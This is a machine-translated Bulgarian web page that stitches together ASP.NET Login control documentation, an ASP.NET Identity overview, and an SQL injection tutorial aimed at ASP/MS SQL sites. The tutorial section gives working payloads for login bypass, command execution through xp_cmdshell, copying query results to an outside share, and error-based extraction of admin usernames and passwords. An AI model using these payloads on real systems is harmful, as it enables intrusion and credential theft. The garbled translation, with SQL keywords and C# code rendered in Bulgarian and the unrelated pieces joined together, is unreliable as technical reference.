Грозно влизане asp. Сървър eus за работа с потребителски акаунти. Ами ако не сте намерили страница, която използва въвеждане

Контрол за влизане

Контролата за влизане улеснява създаването на страница за вход за удостоверяване на формуляра във връзка с API за членство. Той предоставя готов за използване потребителски интерфейс, който подканва за потребителското име и парола и предоставя бутон за влизане на потребителя. Зад кулисите, той капсулира функционалността, която беше описана в предишната статия: валидиране на потребителските самоличности чрез API за членство и капсулиране на основните функции за удостоверяване на формуляри, като например пренасочване към първоначално заявената страница в защитената зона на приложението след успешно влизане.

Това означава, че Login капсулира неща като Membership.ValidateUser() или FormsAuthentication.RedirectFromLoginPage(), така че не е нужно да пишете този код сами. Фигурата по-долу показва контролата за влизане в действие:

Всеки път, когато потребителят щракне върху бутона Вход, контролата автоматично потвърждава потребителското име и паролата с помощта на функцията Membership.ValidateUser() и след това извиква FormsAuthenication.RedirectFromLoginPage(), ако валидирането е успешно. Всички опции на контролата за влизане влияят на входа, който доставя на тези методи. Например, ако поставите отметка в квадратчето Запомни ме следващия път, то ще премине true в параметъра createPersistentCookie на метода RedirectFromLoginPage(). Следователно FormsAuthenticationModule създава постоянна бисквитка.

Зад кулисите Login е съставен контрол на ASP.NET. Той е напълно разширяем, в смисъл, че ви позволява да замените всякакви стилове и свойства на оформление, както и да улавяте генерирани събития, за да замените неговото поведение по подразбиране. Ако оставите контролата такава, каквато е и не улавяте никакви събития, тя автоматично ще използва доставчика на членство, конфигуриран за приложението.

Най-простата форма на контрола за влизане на страница изглежда така:

Предоставени са няколко свойства за промяна на външния вид на контролата за влизане. Можете да приложите различни настройки за стил, както е показано по-долу:

Можете също да използвате CSS класове, за да персонализирате външния вид на Login. Всяко свойство на стил, поддържано от контролата за влизане, включва свойство CssClass. Както при всяка друга контрола на ASP.NET, това свойство ви позволява да посочите името на CSS клас, който преди това е бил добавен към уебсайта. Да предположим, че следната таблица със стилове на CSS е добавена към проекта с името на файла MyStyles.css:

MyLoginTextBoxStyle ( курсор: указател; цвят на фона: жълт; подравняване на текста: център; допълване: 6px; граница: черен с точки; семейство шрифтове: Verdana; вертикално подравняване: средно; ) .Вход ( display:inline-block; ) .Заглавие (допълване: 6px; )

Този файл със стил може да бъде включен в страницата за вход, за да можете да стилизирате елемента за вход:

Следващата таблица изброява стиловете, поддържани от контролата за влизане. Всеки стил работи по един и същи начин. Свойствата на шрифта и цвета могат да бъдат зададени директно или можете да използвате свойството CssClass, за да посочите желания CSS клас:

Стилове, поддържани от контрола за влизане
стил Описание
CheckBoxStyle

Дефинира свойствата на стила за квадратчето Запомни ме следващия път

FailureStyle

Указва стила на текста, който се показва, когато влизането е неуспешно.

HyperLinkStyle

Контролата за влизане ви позволява да дефинирате няколко типа хипервръзки, като например към началната страница за регистрация. Този стил определя външния вид на такива хипервръзки.

InstructionTextStyle

Контролата за влизане ви позволява да зададете помощен текст, който се показва директно в него. Този стил определя облика на този текст.

LabelStyle

Определя стила за етикетите Потребителско име (Потребителско име) и Парола (Парола)

Стил на бутон за влизане

Определя стила на бутона за влизане

TextBoxStyle

Указва стила за текстовите полета Потребителско име и Парола

TitleTextStyle

Указва стила на текста на заглавката за контролата за влизане

ValidatorTextStyle

Дефинира стилове за контроли, използвани за валидиране на потребителско име и парола

Потребителският интерфейс на елемента Login е не само персонализиран чрез тези стилове; други допълнителни свойства са за специфични части от съдържанието на контролата, като например бутона Вход, който също ви позволява да персонализирате GUI.

Например, можете да изберете текста, който се показва на бутона за влизане, или дори да покажете хипервръзка вместо този бутон (както е зададено по подразбиране). Освен това можете да добавите множество хипервръзки към контролата за влизане, като връзка към страница за помощ или страница за регистрация. И двете страници трябва да са отворени за анонимен достъп, тъй като помощ трябва да се предлага и на анонимни потребители (не забравяйте, че ако някой види контролата за влизане, той потенциално е анонимен потребител). За да включите допълнителни връзки в Login, променете показаното по-рано определение, както следва:

...

Този код води до показване на две допълнителни връзки, една към страницата за помощ и една към страницата за първоначална регистрация, и добавя кратък текст с инструкции под заглавието на елемента Login:

Стиловете, описани по-рано, важат и за тези свойства. Следната таблица описва важните свойства за персонализиране на контролата за влизане:

Важни свойства за персонализиране на контрола за влизане
Имот Описание
Текст на съобщението
Текст на заглавието

Текстът, показан в заглавието на контролата

текст на инструкциите

Това свойство вече е използвано в предишния кодов фрагмент. Съдържа текста, показан под заглавието на контролата

Текст за грешка

Текст, показван от контролата за влизане, ако опитът за влизане е неуспешен

UserNameLabelText

Текстът се показва като етикет пред текстовото поле на потребителското име

PasswordLabelText

Текстът се показва като етикет пред текстовото поле за парола на потребителя

потребителско име

Първоначална стойност, която попълва текстовото поле на потребителското име

UsernameRequiredErrorMessage

Показва се съобщение за грешка, ако потребителят не е въвел име

PasswordRequiredErrorMessage

Показва се съобщение за грешка, ако потребителят не е въвел парола

Бутон за влизане
ВходButtonText

Текстът се показва на бутона за влизане

ВходButtonType
LoginButtonImageUrl

Ако бутонът за вход е представен като графично изображение, трябва да посочите URL адреса, където се намира това изображение

Страница за вход
DestinationPageUrl

Ако опитът за влизане е бил успешен, контролата за влизане пренасочва потребителя към тази страница. По подразбиране това свойство е празно. Ако е празно, използва рамката за удостоверяване на формуляри, за да пренасочи към оригиналната заявена страница или към defaultUrl, конфигуриран в web.config за удостоверяване на формуляри

FailureAction

Указва действието, което контролата предприема след неуспешен опит за влизане. Двете валидни опции са Refresh и RedirectToLoginPage. Първата стойност води до обновяване само на текущата страница, докато втората стойност пренасочва към конфигурираната страница за вход. Втората опция е полезна, ако контролата за влизане се използва някъде другаде, освен на страницата за вход

VisibleWhen LoggedIn

Ако е зададено на false, контролата автоматично се скрива, ако потребителят вече е влязъл. Ако е зададено на true (по подразбиране), елементът Login се показва дори ако потребителят е влязъл.

Персонализиране на маркера „Запомни ме“.
DisplayRememberMe

Позволява ви да покажете или скриете квадратчето за отметка Запомни ме следващия път. Това свойство е зададено на true по подразбиране.

RememberMeSet

Указва стойността по подразбиране на квадратчето Запомни ме следващия път. По подразбиране това свойство е настроено на false, т.е. квадратчето за отметка не е отметнато

Страница за регистрация
CreateUserUrl

Определя хипервръзка към страница на уеб сайт, която ви позволява да създадете (регистрирате) потребител. По този начин това обикновено се използва, за да се позволи на потребителя достъп до началната страница за регистрация. Това обикновено показва контролата CreateUserWizard.

CreateUserText
CreateUserIconUrl

URL адресът на графиката за показване с текста на хипервръзка CreateUserUrl

Помощна страница
HelpPageUrl

URL за пренасочване на потребителя към помощна страница

HelpPageText
HelpPageIconUrl

URL адресът на иконата, показан заедно с текста на хипервръзката HelpPageUrl

Страница за възстановяване на парола
PasswordRecoveryUrl

URL адресът за пренасочване на потребителя към страницата за възстановяване на паролата. Тази страница се използва, когато потребителят е забравил паролата. Обикновено показва контрола PasswordRecovery

PasswordRecoveryText
PasswordRecoveryIconUrl

URL адресът на иконата, показан заедно с текста на хипервръзка PasswordRecoveryUrl

Шаблони и контрола за влизане

Както можете да видите, благодарение на всички тези свойства контролата за влизане е много адаптивна. Но както вероятно сте забелязали, е невъзможно да се дефинира израз, който да потвърди входа. Разбира се, можете да приложите валидиране от страна на сървъра в рамките на процедурите за събития, предлагани от контролата за влизане. Когато искате да добавите някои елементи към съставната контрола за влизане, не можете да го направите чрез горните свойства. Например, ако имате нужда от второ текстово поле за силно удостоверяване с втора парола или персонализиран ключ за достъп, както се прави на някои правителствени сайтове?

За щастие, подобно на други контроли като GridView, контролата за влизане поддържа шаблони. С помощта на шаблони можете да персонализирате съдържанието на контрола за влизане без никакви ограничения. Можете да добавите всякакви нови контроли към него. Прилага персонализиран шаблон към контролата за влизане с помощта на манипулатор LayoutTemplate:

Впиши се

потребителско име:
парола:


Разглеждайки горния код, възниква един въпрос: ако трябва да напишете толкова много UI код, когато настройвате шаблон (или го проектирате във визуален дизайнер), защо не напишете своя собствена страница за вход, без да използвате контролата за влизане?

Това е правилният въпрос. Въпреки това, както беше обяснено по-рано, интерфейсната част е само една част от елемента Login. Например, в случай, че потребителят щракне върху бутона за влизане, контролата за влизане вече има целия необходим код за автоматично валидиране на потребителя спрямо магазина за членство и пренасочване на потребителя към оригиналната страница, която е поискал чрез рамката за удостоверяване на формуляри. Така че определено сте спестени от написването на този код.

С правилните контроли и правилните стойности на ID за тези контроли, няма да е необходимо да пишете код за обработка на събития. Кодът работи по обичайния начин, с изключение на това, че дефинирате набор от контроли и тяхното оформление. Всъщност контролата за влизане изисква поне две текстови полета с идентификатори потребителско име и парола. Ако тези две текстови полета липсват (или имат различни стойности на идентификатора), тогава Login ще предизвика изключение. Всички други контроли не са задължителни, но ако посочите подходяща стойност на идентификатора (като например Вход за бутон за влизане), тогава Login автоматично ще обработва техните събития и ще се държи както би, когато се приложи оформлението по подразбиране.

Таблицата по-долу изброява стойностите на специални идентификатори, типовете елементи, необходими за тях, и задължителния флаг:

Контролата за влизане може да бъде всяка контрола, която поддържа изписване на събития и свойство CommandName. Важно е да зададете свойството CommandName на този елемент на Login, т.к в противен случай контролата за влизане няма да го разпознае по време на обработка на събития. Ако не добавите контрола със свойство CommandName, зададено на Login, ще трябва сами да обработвате събитията и да напишете подходящия код, за да потвърдите потребителското име и паролата и да пренасочите към оригиналната заявена страница.

Можете също да добавите контроли с други идентификатори, които изобщо нямат нищо общо с Login. Горният код използва елементите RequiredFieldValidator и RegularExpressionValidator за валидиране на полетата за потребителско име и парола.

Когато използвате LayoutTemplate, много от свойствата, които са естествени за контролата, стават недостъпни. Когато се приложи шаблон, остават налични само следните свойства:

    DestinationPageUrl

    VisibleWhen LoggedIn

  • Доставчик на членство

Всички свойства на стила и няколко свойства за персонализиране на текстовото съдържание по подразбиране на елементите вече не са налични в редактора на свойства на Visual Studio, тъй като могат да бъдат добавени ръчно като отделни контроли или статичен текст към шаблона на елемента за вход. Ако ги добавите към елемента Login в режим на шаблон, те просто ще бъдат игнорирани, защото шаблонът отменя интерфейса по подразбиране на елемента Login, който използва тези свойства.

Програмиране на контрола за влизане

Контролата за влизане поддържа няколко събития и свойства, които можете да използвате, за да персонализирате нейното поведение. Те осигуряват пълен контрол върху фината настройка на контролата за влизане (заедно с други инструменти за персонализиране, като шаблони и свойства на стил). Контролата за влизане поддържа събитията, изброени в таблицата по-долу:

Събития за контрол на влизане
Събитие Описание
Влизане

Задейства се точно преди потребителят да бъде удостоверен от контролата

Вписан

Задейства се, след като потребителят е удостоверен от контролата

Грешка при вписване

Задейства се, когато опитът на потребителя за влизане е неуспешен по някаква причина (например неправилна парола или потребителско име)

Удостоверяване

Иницииран за удостоверяване на потребител. Ако управлявате това събитие, трябва сами да удостоверите потребителя и контролата за влизане ще разчита изцяло на вашия код за удостоверяване

Първите три събития могат да бъдат обработени за извършване на някои действия преди удостоверяване на потребителя, след удостоверяване и ако възникне грешка по време на удостоверяване. Например събитието LoginError може да се използва за автоматично пренасочване на потребителя към страницата за възстановяване на парола след определен брой опити за влизане, както е показано по-долу:

Protected void Page_Load(object sender, EventArgs e) ( if (!this.IsPostBack) ViewState["LoginErrors"] = 0; ) protected void Login1_LoginError(object sender, EventArgs e) ( // Ако състоянието LoginErrors не съществува, създайте it if (ViewState["LoginErrors"] == null) ViewState["LoginErrors"] = 0; // Увеличете брояча на неуспешните опити за влизане int ErrorCount = (int)ViewState["LoginErrors"] + 1; ViewState["LoginErrors" "] = ErrorCount ; // Проверете броя на неуспешните опити, ако ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != string.Empty)) Response.Redirect(Login1.PasswordRecoveryUrl); )

Контролата за влизане задейства събития в реда, показан на фигурата по-долу:

Както бе споменато по-рано, ако хващате събитието Authenticate, трябва да добавите вашето собствено потребителско име и код за валидиране на парола. Имот Удостоверяванеподдържа екземпляр от списъка с параметри AuthenticateEventArgs. Този клас аргумент за събитие поддържа едно свойство с име Authenticated. Ако е зададено на true, контролата за влизане приема, че удостоверяването е било успешно и задейства събитието LoggedIn. Ако зададете това свойство на false, ще се покаже FailureText и събитието LoginError ще бъде повдигнато:

Protected void Login1_Authenticate(object sender, AuthenticateEventArgs e) (if (Membership.ValidateUser(Login1.UserName, Login1.Password)) (e.Authenticated = true; ) else (e.Authenticated = false; ) )

Както можете да видите, има директен достъп до въведените стойности чрез свойствата UserName и Password, които съдържат текста, въведен в съответните текстови полета. Ако използвате шаблонни контроли и искате да получите стойността от друг елемент, в допълнение към елементите с идентификатори потребителско име и парола, тогава можете да използвате метода FindControl(), за да получите този допълнителен елемент. Този метод взема идентификатора на желания елемент и връща екземпляр на System.Web.UI.Control. След това полученият обект просто се прехвърля към типа на желаната контрола и се чете стойността, необходима за персонализирания метод за проверка на самоличността на потребителя.

Последна актуализация: 31.10.2015г

Пускането на ASP.NET MVC 5 беше белязано от пускането на нова система за оторизация и удостоверяване в .NET приложения, наречена ASP.NET Identity. Тази система замени доставчиците на Simple Membership, които бяха въведени в ASP.NET MVC 4.

Като щракнете върху бутона Промяна на удостоверяване, можем да променим типа на удостоверяване, като изберем едно от следните:

    Без удостоверяване: ASP.NET идентичност и без вградена система за удостоверяване

    Индивидуални потребителски акаунти: По подразбиране проектът включва системата ASP.NET Identity, която ви позволява да оторизирате както потребители в приложението, така и чрез външни услуги като google, twitter и др.

    Организационни сметки: подходящ за уебсайтове и уеб приложения на отделни компании и организации

    Удостоверяване на Windows: система за удостоверяване за интранет, използвайки акаунти в Windows

Нека оставим стойността по подразбиране, тоест Индивидуални потребителски акаунти и да създадем проект.

Създаденият проект вече по подразбиране има цялата необходима инфраструктура за оторизация: модели, контролери, изгледи. Ако погледнем в възела References (Libraries), ще видим редица ключови библиотеки там, които съдържат класовете, необходими за оторизация и удостоверяване:

Това са набор от OWIN библиотеки, които добавят OWIN функционалност към проекта, както и три библиотеки на самата ASP.NET Identity:

    Microsoft.AspNet.Identity.EntityFramework: съдържа класове Entity Framework, които използват ASP.NET Identity и комуникират със SQL Server

    Microsoft.AspNet.Identity.Core: Съдържа редица ключови интерфейси на ASP.NET Identity. Внедряването на тези интерфейси ще ви позволи да надхвърлите MS SQL Server и да използвате други СУБД като съхранение на акаунти, включително NoSQL системи.

    Microsoft.AspNet.Identity.OWIN: носи OWIN удостоверяване към ASP.NET MVC приложение, използвайки ASP.NET Identity

Тъй като цялата инфраструктура вече е в проекта, нека стартираме проекта, на страницата, показана в браузъра, ще намерим връзката Регистрирами кликнете върху него. На страницата за регистрация, която се отваря, въведете някои данни:

След регистрация, входът ще се покаже в горния десен ъгъл на уеб страницата на уеб приложението. След като се регистрираме, можем да излезем, като щракнем върху Излизане и влезем отново. Така вече можем да започнем да използваме вградената система за удостоверяване в приложение на ASP.NET MVC 5. Сега нека разгледаме основните й точки.

Първо, къде се съхранява всичко? Къде отиват данните на регистрираните потребители?

В този случай се използва подходът Code First. Файлът web.config вече има низ за връзка по подразбиране, който посочва директорията на базата данни. Ако разширим папката App_Data, можем да видим създадената база данни:

Ако изведнъж базата данни не се вижда в папката, щракнете върху бутона Покажи всички файлове в горната част на прозореца на Solution Explorer.

Можем да отворим тази база данни в прозорец на Server Explorer и да видим нейното съдържание:

По подразбиране, когато първият потребител се регистрира, се създава следният набор от таблици:

    MigrationHistory : използва се от EntityFramework за миграции на бази данни

    AspNetRoles : съдържа дефиниции на роли

    AspNetUserClaims : таблица, която съдържа набор от претенции. Претенцията представлява различен модел на упълномощаване в сравнение с ролите. Грубо казано, твърдението съдържа известна информация за потребителя, като имейл адрес, вход, възраст и т.н. И тази информация ви позволява да идентифицирате потребителя и да му дадете съответните права за достъп.

    AspNetUserLogins: таблица за влизане на потребители

    AspNetUserRoles : таблица, която задава конкретни роли за потребителите

    AspNetUsers : самата потребителска таблица. Ако го отворим, ще видим данните на регистрирания потребител

Ключовите субекти в AspNet Identity са потребители и роли. Цялата функционалност за създаване, изтриване на потребители, взаимодействие с потребителското хранилище се съхранява в класа UserManager. За да работи и управлява роли, AspNet Identity дефинира класа RoleManager. Класовете UserManager и RoleManager са в библиотеката Microsoft.AspNet.Identity.Core.

Всеки потребител за UserManager представлява обект на IUser интерфейса. И всички операции за управление на потребителите се извършват чрез хранилището, представено от обекта IUserStore.

Всяка роля представлява реализация на интерфейса IRole, а ролите се управляват от класа RoleManager чрез IRoleStore store.

Директното изпълнение на интерфейсите IUser, IRole, IUserStore и IRoleStore се осигурява от пространството за имена на Microsoft.AspNet.Identity.EntityFramework:

Класът IdentityUser е реализация на интерфейса IUser. И класът потребителски магазин - UserStore имплементира интерфейса IUserStore.

По същия начин, класът IdentityRole имплементира интерфейса IRole, а класът за съхранение на роли, RoleStore, имплементира интерфейса IRoleStore.

И за да взаимодейства с базата данни в пространството от имена на Microsoft.AspNet.Identity.EntityFramework, се дефинира контекстният клас IdentityDbContext

В ASP.NET MVC приложение няма да работим директно с класовете IdentityUser и IdentityDbContext. По подразбиране към проекта се добавя файл в папката Models IdentityModels.cs, който съдържа дефиниции на потребителски класове и контекст на данни:

Публичен клас ApplicationUser: IdentityUser ( публична асинхронна задача GenerateUserIdentityAsync(UserManager мениджър) ( var userIdentity = await manager.CreateIdentityAsync(this, DefaultAuthenticationTypes.ApplicationCookie); return userIdentity; ) ) публичен клас ApplicationDbContext: IdentityDbContext ( public ApplicationDbContext() : base("DefaultConnection", throwIfV1Schema: false) ( ) публичен статичен ApplicationDbContext Create() ( връщане на new ApplicationDbContext(); ) )

В приложението не работим директно с класовете IdentityUser и IdentityDbContext, а се занимаваме с производни класове.

Класът ApplicationUser наследява всички свойства от IdentityUser. Той също така добавя метод GenerateUserIdentityAsync(), който създава обект ClaimsIdentity чрез извикване на UserManager.CreateIdentityAsync. Този обект съдържа информация за този потребител.

Такава архитектура ви позволява да вземете готова функционалност и, ако е необходимо, да добавите нова, например да добавите ново свойство за потребителя или да добавите нова таблица към базата данни.

Няма да описвам подробно цялата функционалност на AspNet Identity, която се добавя към проекта по подразбиране, ще очертая накратко само основните характеристики.

Първо, за да активирате AspNet Identity, два файла се добавят към проекта в папката App_Start. Файл Startup.Auth.csсъдържа стартовия клас на приложението OWIN. Тъй като AspNet Identity използва инфраструктурата OWIN, този клас е един от ключовите и необходими за работа.

Файл IdentityConfig.csсъдържа редица допълнителни помощни класове: услуги за двуфакторно валидиране с помощта на имейл и телефон EmailService и SmsService, класа ApplicationUserManager потребителски мениджър, който добавя редица допълнителни функции към UserManager, и клас ApplicationSignInManager, използван за влизане и излизане от сайта .

Основната функционалност на системата за удостоверяване и управление на акаунти се намира в два контролера: AccountController и ManageController

AccountController определя методи за влизане, регистрация, проверка на кода, изпратен по имейл или SMS, нулиране на парола, напомняне на парола, влизане в сайта чрез външни услуги. Контролерът ManageController се използва за управление на акаунта и предлага възможност за промяна на паролата и управление на телефонни номера в системата. И за двата контролера всички необходими изгледи и специални модели на изглед вече са генерирани по подразбиране.

Въпреки факта, че по подразбиране вече имаме готова функционалност, в някои случаи, например за изпращане на SMS или имейл, е необходима допълнителна конфигурация. Сега нека разгледаме основните точки на системата AspNet Identity.

SQL инжекция за манекени, хак на ASP+MSSQL

Александър Антипов

Тази статия не съдържа нови истини, SQL инжекцията е широко описана и широко използвана. Статията е по-скоро предназначена за начинаещи, но може би професионалистите ще могат да намерят един или два нови трика.


Тази статия има за цел да помогне на начинаещите да се справят с проблемите, които могат да срещнат с техниката на SQL инжектиране, да я използват успешно и да могат да се защитят от подобни атаки.

Въведение

Когато сървърът, който ни интересува, има отворен само порт 80 и скенерът за уязвимости не може да докладва нищо интересно и знаете, че системният администратор винаги кърпи уеб сървъра много бързо, последният ни шанс е уеб хакване. SQL инжектирането е един вид уеб хак, който използва само порт 80 и може да работи дори с навременни корекции. Тази атака е насочена повече към уеб приложения (като ASP, JSP, PHP, CGI и т.н.), отколкото директно към уеб сървъра или услугите в ОС.

Тази статия не съдържа нови истини, SQL инжекцията е широко описана и широко използвана. Статията е по-скоро предназначена за начинаещи, но може би професионалистите ще могат да намерят един или два нови трика. Също така препоръчвам да разгледате връзките в края на тази статия за повече информация от експерти в областта.

1.1 Какво е SQL инжекция?

SQL инжекцията е метод за инжектиране на SQL заявки/команди през уеб страници. Много уеб страници използват параметри, представени на уеб потребителите и правят SQL заявка към базата данни. Да вземем за пример случая с потребителско влизане, където има уеб страница с потребителско име и парола и се прави SQL заявка към базата данни, за да се провери дали има регистриран потребител с това потребителско име и парола. С помощта на SQL инжекция е възможно да изпратите фиктивно поле за потребителско име и/или парола, което променя SQL заявката, което може да ни предостави нещо интересно.

2.0 Какво трябва да търсим

Опитайте се да намерите страници, които ви искат данни, като страница за търсене, страница за дискусии и т.н. Понякога html страниците използват метода POST за изпращане на команди към друга уеб страница. В този случай няма да видите параметрите в URL адреса. В този случай обаче можете да потърсите маркера „FORM“ в HTML източника на страниците. Ще намерите нещо подобно:



Всички опции между

и
потенциално уязвими към SQL инжектиране.

2.1 Ами ако не сте намерили страница, която използва въвеждане?

Потърсете страници като ASP, JSP, CGI или PHP уеб страници. Опитайте се да намерите страници, които използват параметри като:

3.0. Как мога да проверя дали това, което намерих, е уязвимо?

Опитайте да започнете с един цитат. Въведете следния ред:

здравей" или 1=1--

в поле за потребителско име или парола или дори в URL параметър. пример:

Вход: здравей" или 1=1--
Пас: здравей" или 1=1--
http://duck/index.asp?id=hi" или 1=1--

Ако сте направили това със скрито поле, просто изтеглете оригиналния HTML, запазете го на твърдия си диск, променете съответно URL адреса и скритото поле. пример:



Ако късметът е на ваша страна, ще бъдете влезли без потребителско име или парола.

3.1 Но защо " или 1=1--?

Нека разгледаме друг пример, който обяснява полезността на конструкцията " или 1=1-- ". В допълнение към заобикалянето на регистрацията, можем да разгледаме и допълнителна информация, която обикновено не е налична. Помислете за страница на asp, която води към друга страница с следния URL:

http://duck/index.asp?category=food

В URL адрес "категория" е името на променливата, а "храна" е стойността, присвоена на тази променлива. За да направите това, страница на asp може да съдържа следния код:

v_cat = заявка("категория")
sqlstr="ИЗБЕРЕТЕ * ОТ продукт КЪДЕ PCategory="" & v_cat & """
задайте rs=conn.execute(sqlstr)

както можете да видите, нашата променлива ще бъде комбинирана с v_cat и по този начин SQL заявката трябва да стане:

ИЗБЕРЕТЕ * ОТ продукт КЪДЕ PCategory="храна"

Тази заявка трябва да върне набор, съдържащ един или повече реда, които съответстват на клаузата WHERE, в този случай "храна". Сега нека променим URL адреса по следния начин:

http://duck/index.asp?category=food" или 1=1--
ИЗБЕРЕТЕ * ОТ продукт КЪДЕ PCategory="храна" или 1=1--‘

Тази заявка ще върне всички редове в таблицата с продукти, независимо дали Pcategory е "храна" или не. Двойното тире "-" казва на MS SQL Server да игнорира останалата част от заявката, която следва единичните кавички ("). Понякога можете да замените двойното тире с остър "#".

Въпреки това, ако се използва не-SQL сървър или не можете да пренебрегнете останалата част от заявката, опитайте:

" или "a"="a

Сега SQL заявката ще стане:

ИЗБЕРЕТЕ * ОТ продукт КЪДЕ PCategory="храна" или "a"="a"

Тази заявка ще върне същия резултат.

В зависимост от действителната SQL заявка, може да се наложи да опитате някои от тези възможности:

" или 1=1--
" или 1=1--
или 1=1--
" или "a"="a
" или "a"="a
") или ("a"="a

4.0 Как мога да изпълнявам команди дистанционно чрез SQL инжекция?

Възможността за въвеждане на SQL команда обикновено означава, че можем да изпълняваме SQL заявки по желание. Инсталацията по подразбиране на MS SQL Server работи със системни права. Можем да извикаме вградени процедури като master..xp_cmdshell за изпълнение на произволни команди от разстояние:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Опитайте да използвате двойни кавички ("), ако (") не работи.

Точката и запетаята ще сложи край на текущия SQL израз и ще ви позволи да изпълнявате нови SQL команди. За да проверите дали командата е била успешна, можете да проверите ICMP пакетите в 10.10.1.2, за да видите дали съдържат пакети от засегнатия сървър:

http://site/?ID=31610

Ако не сте получили никаква заявка за ping от сървъра и получите съобщение за грешка, указващо грешка в разрешението, възможно е администраторът да е ограничил достъпа на уеб потребителя до съхранените процедури.

5.0 Как да получа резултатите от моята SQL заявка?

Можете да използвате sp_makewebtask, за да напишете заявката си в HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "ИЗБЕРЕТЕ * ОТ INFORMATION_SCHEMA.TABLES"

Посоченият IP трябва да има папка "споделяне" с достъп за Всички.

6.0 Как да получа данни от базата данни с помощта на ODBC съобщение за грешка?

Можем да използваме информацията от съобщението за грешка, генерирано от SQL Server, за да получим всякакви данни. Например, помислете за следната страница:

http://duck/index.asp?id=10

Сега ще се опитаме да свържем цялото число '10' с друг ред в базата данни:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME ОТ INFORMATION_SCHEMA.TABLES--

Системната таблица INFORMATION_SCHEMA.TABLES съдържа информация за всички таблици на сървъра.

Полето TABLE_NAME очевидно съдържа името на всяка таблица в базата данни. Тя беше избрана, защото знаем, че тя винаги съществува. Нашата молба:

ИЗБЕРЕТЕ ТОП 1 TABLE_NAME ОТ INFORMATION_SCHEMA.TABLES--

Тази заявка ще върне първото име в базата данни. Когато обединим тази стойност на низа с цяло число 10, MS SQL Server ще се опита да преобразува низа nvarchar в цяло число. Това ще изведе грешка, която казва, че не може да преобразува nvarchar в int. Сървърът ще изведе следната грешка:


Синтактична грешка при преобразуване на стойността на nvarchar "(!LANG:table1" to a column of data type int. !}
/index.asp, ред 5

Съобщението за грешка съдържа информация за стойност, която не може да бъде преобразувана в цяло число. В този случай получихме името на първата таблица - "table1".

За да получим името на следващата таблица, можем да използваме следната заявка:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME ОТ INFORMATION_SCHEMA.TABLES, КЪДЕТО TABLE_NAME НЕ В ("table1")--

Можем също да търсим данни с помощта на клавиша LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME ОТ INFORMATION_SCHEMA.TABLES КЪДЕТО TABLE_NAME КАТО "%25login%25"--

Грешка на Microsoft OLE DB доставчик за ODBC драйвери "80040e07" Синтактична грешка при преобразуването на стойността на nvarchar "(!LANG:admin_login" to a column of data type int. !} /index.asp, ред 5

Съответната конструкция "%25login%25" ще бъде заменена с %login% в SQL Server. В този случай ще получим името на таблицата, което отговаря на критерия "admin_login".

6.1 Как мога да получа всички имена на колони в таблица?

Можем да използваме таблицата INFORMATION_SCHEMA.COLUMNS, за да покажем всички имена на колони в таблицата:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME ОТ INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Грешка на Microsoft OLE DB доставчик за ODBC драйвери "80040e07"
Синтактична грешка при преобразуване на стойността на nvarchar "(!LANG:login_id" to a column of data type int. !}
/index.asp, ред 5

Сега, когато знаем името на първата колона, можем да използваме NOT IN(), за да получим името на следващата колона:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME ОТ INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME НЕ В ("login_id")-

Грешка на Microsoft OLE DB доставчик за ODBC драйвери "80040e07"
Синтактична грешка при преобразуване на стойността на nvarchar "(!LANG:login_name" to a column of data type int. !}
/index.asp, ред 5

Продължавайки, ще получим останалите имена на колоните, т.е. "парола", "подробности", докато не получим следната грешка.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME ОТ INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME НЕ В ("login_id","login_name","password",details")--

Грешка на Microsoft OLE DB доставчик за ODBC драйвери "80040e14"
Елементите ORDER BY трябва да се появят в списъка за избор, ако изразът съдържа оператор UNION.
/index.asp, ред 5

6.2. Как да получим нужните ни данни?

След като идентифицирахме някои важни таблици, можем да използваме същата техника за извличане на информация от базата данни.

Нека вземем първото login_name от таблицата "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name ОТ admin_login--

Грешка на Microsoft OLE DB доставчик за ODBC драйвери "80040e07"
Синтактична грешка при преобразуването на стойността на nvarchar "(!LANG:neo" to a column of data type int. !}
/index.asp, ред 5

Вече знаем, че има потребител администратор с вход "neo". Накрая можем да получим паролата "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 парола ОТ admin_login където login_name="neo"--

Грешка на Microsoft OLE DB доставчик за ODBC драйвери "80040e07"
Синтактична грешка при преобразуването на стойността на nvarchar "(!LANG:m4trix" to a column of data type int. !}
/index.asp, ред 5

Сега можем да влезем като "neo" с паролата "m4trix".

6.3 Как да получите числовата стойност на низ?

Има ограничение в метода, описан по-горе. Няма да получим съобщение за грешка, ако се опитаме да преобразуваме текст, който се състои от число (само знаци между 0...9). Сега ще опишем получаването на парола "31173" от потребителя "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 парола ОТ admin_login където login_name="trinity"--

Вероятно ще получим грешка „Страницата не е намерена“. Причината е, че паролата "31173" ще бъде преобразувана в число, преди UNION с цяло число (в нашия случай 10). Тъй като това ще бъде валиден UNION израз, SQL Server няма да генерира съобщение за грешка и по този начин няма да можем да получим цифров запис.

За да решим този проблем, можем да добавим числов низ с няколко букви в края, така че преобразуването да не успее. Променена заявка:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") ОТ admin_login където login_name="trinity"--

Ние просто използваме знака плюс (+), за да добавим паролата с произволен текст (ASSCII кодиране за "+" = 0x2b) до края. След това ще добавим "%20morpheus" в края на действителната парола. Така че дори ако стойността на паролата е "31173", тя ще стане "31173 morpheus". Чрез ръчно извикване на функцията convert(), опитвайки се да преобразува "31173 morpheus" в цяло число, SQL Server ще издаде съобщение за ODBC грешка:

Грешка на Microsoft OLE DB доставчик за ODBC драйвери "80040e07"
Синтактична грешка при преобразуване на стойността на nvarchar "(!LANG:31173 morpheus" to a column of data type int. !}
/index.asp, ред 5

Сега можем да влезем като "trinity" с парола "31173".

